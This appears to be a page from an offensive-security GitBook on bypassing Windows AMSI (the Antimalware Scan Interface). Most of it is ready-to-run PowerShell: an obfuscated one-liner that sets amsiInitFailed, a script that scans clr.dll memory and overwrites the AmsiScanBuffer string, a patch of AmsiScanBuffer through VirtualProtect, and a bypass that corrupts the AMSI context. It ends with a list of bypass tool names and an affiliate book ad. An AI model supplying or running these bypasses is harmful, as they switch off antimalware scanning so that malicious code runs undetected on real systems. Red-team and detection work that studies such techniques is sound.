AMSI Bypass

Bypass

S`eT-It`em ( 'V'+'aR' +  'IA' + (("{1}{0}"-f'1','blE:')+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a'))  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
# Define constants$PAGE_READONLY = 0x02$PAGE_READWRITE = 0x04$PAGE_EXECUTE_READWRITE = 0x40$PAGE_EXECUTE_READ = 0x20$PAGE_GUARD = 0x100$MEM_COMMIT = 0x1000$MAX_PATH = 260#Helper functionsfunction IsReadable {    param ($protect, $state)    return (        (($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or         ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or         ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or         ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and        ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and        ($state -band $MEM_COMMIT) -eq $MEM_COMMIT    )}function PatternMatch {    param ($buffer, $pattern, $index)    for ($i = 0; $i -lt $pattern.Length; $i++) {        if ($buffer[$index + $i] -ne $pattern[$i]) {            return $false        }    }    return $true}if($PSVersionTable.PSVersion.Major -gt 2) {    #Create module builder    $DynAssembly = New-Object System.Reflection.AssemblyName("Win32");    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run);    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False);    #Define structs    $TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]);    [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public);    $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType();    #Define structs    $TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]);    [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public);    $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType();        #P/Invoke Methods    $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class");    $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]));    $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError");    $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,        "kernel32.dll",        [Reflection.FieldInfo[]]@($SetLastError),        @($True));    #Define [Win32.Kernel32]::VirtualProtect    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect",        "kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [bool],        [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);    #Define [Win32.Kernel32]::GetCurrentProcess    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess",        "kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [IntPtr],        [Type[]]@(),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);    #Define [Win32.Kernel32]::VirtualQuery    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery",        "kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [IntPtr],        [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);    #Define [Win32.Kernel32]::GetSystemInfo    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo",        "kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [Int32],        [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);    #Define [Win32.Kernel32]::GetMappedFileName    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName",        "psapi.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [Int32],        [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);    #Define [Win32.Kernel32]::ReadProcessMemory    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory",        "kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [Int32],        [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);    #Define [Win32.Kernel32]::WriteProcessMemory    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory",        "kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [Int32],        [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);    $Kernel32 = $TypeBuilder.CreateType();    $a = "Ams";    $b = "iSc";    $c = "anBuf";    $d = "fer";    $signature = [System.Text.Encoding]::UTF8.GetBytes($a+$b+$c+$d);    $hProcess = [Win32.Kernel32]::GetCurrentProcess();    #Get system information    $sysInfo = New-Object Win32.SYSTEM_INFO;    [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo);    #List of memory regions to scan    $memoryRegions = @();    $address = [IntPtr]::Zero;    #Scan through memory regions    while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) {        $memInfo = New-Object Win32.MEMORY_INFO_BASIC;        if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) {            $memoryRegions += $memInfo;        }        #Move to the next memory region        $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64());    }    $count = 0;    #Loop through memory regions    foreach ($region in $memoryRegions) {        #Check if the region is readable and writable        if (-not (IsReadable $region.Protect $region.State)) {            continue;        }        #Check if the region contains a mapped file        $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH        if ([Win32.Kernel32]::GetMappedFileName($hProcess, $region.BaseAddress, $pathBuilder, $MAX_PATH) -gt 0) {            $path = $pathBuilder.ToString();            if ($path.EndsWith("clr.dll", [StringComparison]::InvariantCultureIgnoreCase)) {                 #Scan the region for the pattern                $buffer = New-Object byte[] $region.RegionSize.ToInt64();                $bytesRead = 0;                [void][Win32.Kernel32]::ReadProcessMemory($hProcess, $region.BaseAddress, $buffer, $buffer.Length, [ref]$bytesRead);                for ($k = 0; $k -lt ($bytesRead - $signature.Length); $k++) {                    $found = $True;                    for($m = 0; $m -lt $signature.Length; $m++) {                        if($buffer[$k + $m] -ne $signature[$m]) {                            $found = $False;                            break;                        }                    }                    if ($found) {                        $oldProtect = 0;                        if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) {                            [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $PAGE_EXECUTE_READWRITE, [ref]$oldProtect);                        }                        $replacement = New-Object byte[] $signature.Length;                        $bytesWritten = 0;                        [void][Win32.Kernel32]::WriteProcessMemory($hProcess, [IntPtr]::Add($region.BaseAddress, $k), $replacement, $replacement.Length, [ref]$bytesWritten);                        $count++;                        if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) {                            [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $region.Protect, [ref]$oldProtect);                        }                    }                }            }        }    }}

String Manipulation

Bypass 1: Setting amsiInitFailed

[Ref].Assembly.GetType('http://System.Management .Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Nowadays, antivirus solutions block this AMSI bypass command when run in PowerShell

Bypass: Concatenation

[Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils').GetField('amsiInit'+'Failed','NonPublic,Static').SetValue($null,!$false)

Bypass 2: Patching amsiScanBuffer

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public static class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@;
$patch = [Byte[]] (0xB8, 0x05, 0x40, 0x00, 0x80, 0xC3);
$hModule = [Kernel32]::LoadLibrary("amsi.dll");
$lpAddress = [Kernel32]::GetProcAddress($hModule, "Amsi"+"ScanBuffer");
$lpflOldProtect = 0;
[Kernel32]::VirtualProtect($lpAddress, [UIntPtr]::new($patch.Length), 0x40, [ref]$lpflOldProtect) | Out-Null;
$marshal = [System.Runtime.InteropServices.Marshal];
$marshal::Copy($patch, 0, $lpAddress, $patch.Length);
[Kernel32]::VirtualProtect($lpAddress, [UIntPtr]::new($patch.Length), $lpflOldProtect, [ref]$lpflOldProtect) | Out-Null;

Bypass 3: Forcing an Error

$utils = [Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils');
$context = $utils.GetField('amsi'+'Context','NonPublic,Static');
$session = $utils.GetField('amsi'+'Session','NonPublic,Static');

$marshal = [System.Runtime.InteropServices.Marshal];
$newContext = $marshal::AllocHGlobal(4);

$context.SetValue($null,[IntPtr]$newContext);
$session.SetValue($null,$null);

FullBypass

Get a reverse shell

Nuke-AMSI

Amsi-EtwPatch

OffensiveRust - AMSI Bypass

SharpKiller

AMSI Fail

EvilByte AMSI Patcher

Ebyte AMSI ProxyInjector

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

  • Evading EDR: The Definitive Guide to Defeating Endpoint Detection Systems The author uses his years of experience as a red team operator to investigate each of the most common sensor components, discussing their purpose, explaining their implementation, and showing the ways they collect various data points from the Microsoft operating system. In addition to covering the theory behind designing an effective EDR, each chapter also reveals documented evasion strategies for bypassing EDRs that red teamers can use in their engagements.

Resources

Last updated